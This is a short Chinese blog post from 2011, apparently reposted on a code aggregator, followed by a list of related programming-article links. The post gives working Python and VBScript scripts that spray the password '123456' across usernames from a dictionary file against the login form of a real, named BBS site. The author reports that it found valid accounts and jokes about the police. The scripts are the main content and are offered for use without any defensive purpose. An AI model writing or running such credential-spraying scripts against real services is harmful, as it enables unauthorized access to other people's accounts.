Python牛刀小试密码爆破


Posted in Python onFebruary 03, 2011

难道真的要我破解一个么?算了,正好试试我的Python水平。
python版

#coding: gbk 
import httplib, urllib def Check(username, password): 
params = urllib.urlencode( 
{'userid': username, 'passwd': password}) 
headers = {"Content-type": 
"application/x-www-form-urlencoded"} 
conn = httplib.HTTPSConnection("www.bdwm.net") 
conn.request("POST", 
"/bbs/bbslog2.php", params, headers) 
res = conn.getresponse().read() 
conn.close() 
if res.find("密码不正确") != -1: 
return False 
elif res.find("不存在这个用户") != -1: 
return False 
else: 
return True 
for i in open("English.Dic"): 
if Check(i.rstrip(),"123456"): 
print i

顺便也写了个VBS版的,感觉貌似VBS比较快,感觉出问题了?
Dim fso 
Set fso = CreateObject("scripting.filesystemobject") 
With fso.OpenTextFile("English.Dic",1) 
Do Until .AtEndOfStream 
id = .ReadLine 
If Check(id,"123456") Then 
WScript.Echo id & vbTab &"OK" 
End If 
Loop 
End With Function Check(username,password) 
Dim http 
Set http = CreateObject("Msxml2.XMLHTTP") 
http.open _ 
"POST","https://www.bdwm.net/bbs/bbslog2.php",False 
http.setRequestHeader _ 
"Content-Type","application/x-www-form-urlencoded" 
http.send "userid=" & username & "&passwd=" & password 
response = AnsiToUnicode(http.responseBody) 
If InStr(response,"密码不正确") Then 
Check = False 
ElseIf InStr(response,"不存在这个用户") Then 
Check = False 
Else 
Check = True 
End If 
End Function 
Function AnsiToUnicode(str) 
Dim ado 
Set ado = CreateObject("adodb.stream") 
ado.Type = 1 
ado.Open 
ado.Write str 
ado.Position = 0 
ado.Type = 2 
ado.Charset = "gb2312" 
AnsiToUnicode = ado.ReadText 
End Function

事实证明,123456真是一个无敌的密码。但愿晚上没有警察叔叔敲门。
原文:http://demon.tw/programming/python-a-little-trial.html
Python 相关文章推荐
python数据结构链表之单向链表(实例讲解)
Jul 25 Python
DataFrame 将某列数据转为数组的方法
Apr 13 Python
Pycharm 操作Django Model的简单运用方法
May 23 Python
python 函数内部修改外部变量的方法
Dec 18 Python
在numpy矩阵中令小于0的元素改为0的实例
Jan 26 Python
python dlib人脸识别代码实例
Apr 04 Python
使用Python进行体育竞技分析(预测球队成绩)
May 16 Python
python爬虫selenium和phantomJs使用方法解析
Aug 08 Python
python3 selenium自动化 frame表单嵌套的切换方法
Aug 23 Python
python求最大公约数和最小公倍数的简单方法
Feb 13 Python
Python Django中间件使用原理及流程分析
Jun 13 Python
python 实现汉诺塔游戏
Nov 28 Python
初学python数组的处理代码
Jan 04 #Python
让python json encode datetime类型
Dec 28 #Python
让python的Cookie.py模块支持冒号做key的方法
Dec 28 #Python
python封装对象实现时间效果
Apr 23 #Python
python下函数参数的传递(参数带星号的说明)
Sep 19 #Python
Python 元类使用说明
Dec 18 #Python
Python3 入门教程 简单但比较不错
Nov 29 #Python
You might like
json的键名为数字时的调用方式(示例代码)
2013/11/15 PHP
PHP+Memcache实现wordpress访问总数统计(非插件)
2014/07/04 PHP
Laravel中的chunk组块结果集处理与注意问题
2018/08/15 PHP
yii框架结合charjs实现统计30天数据的方法
2020/04/04 PHP
JQuery 拾色器插件发布-jquery.icolor.js
2010/10/20 Javascript
仿中关村在线首页弹出式广告插件(jQuery版)
2012/05/03 Javascript
jquery的相对父元素和相对文档定位示例代码
2013/08/02 Javascript
jQuery form 表单验证插件(fieldValue)校验表单
2016/01/24 Javascript
JavaScript中三种异步上传文件方式
2016/03/06 Javascript
D3.js实现柱状图的方法详解
2016/09/21 Javascript
vue-router路由与页面间导航实例解析
2017/11/07 Javascript
vue响应式系统之observe、watcher、dep的源码解析
2019/04/09 Javascript
在Vue中用canvas实现二维码和图片合成海报的方法
2019/06/10 Javascript
JavaScript实现字符串与HTML格式相互转换
2020/03/17 Javascript
在vue中实现某一些路由页面隐藏导航栏的功能操作
2020/09/21 Javascript
python制作爬虫爬取京东商品评论教程
2016/12/16 Python
scrapy爬虫完整实例
2018/01/25 Python
python简单实现操作Mysql数据库
2018/01/29 Python
Python实现对文件进行单词划分并去重排序操作示例
2018/07/10 Python
对python pandas 画移动平均线的方法详解
2018/11/28 Python
Python从文件中读取数据的方法讲解
2019/02/14 Python
关于windows下Tensorflow和pytorch安装教程
2020/02/04 Python
python时间日期操作方法实例小结
2020/02/06 Python
python中wheel的用法整理
2020/06/15 Python
Python虚拟环境的创建和包下载过程分析
2020/06/19 Python
如何使用python记录室友的抖音在线时间
2020/06/29 Python
Python字符串split及rsplit方法原理详解
2020/06/29 Python
利用python实现汉诺塔游戏
2021/03/01 Python
html5教程实现Photoshop渐变色效果
2013/12/04 HTML / CSS
环保专业大学生职业规划设计
2014/01/10 职场文书
办公室岗位职责
2014/02/12 职场文书
劳动竞赛活动方案
2014/02/20 职场文书
事业单位分类改革实施方案
2014/03/21 职场文书
部门经理助理岗位职责
2015/04/13 职场文书
2016年基层党组织公开承诺书
2016/03/25 职场文书
2019年度政务公开考核工作总结模板
2019/11/11 职场文书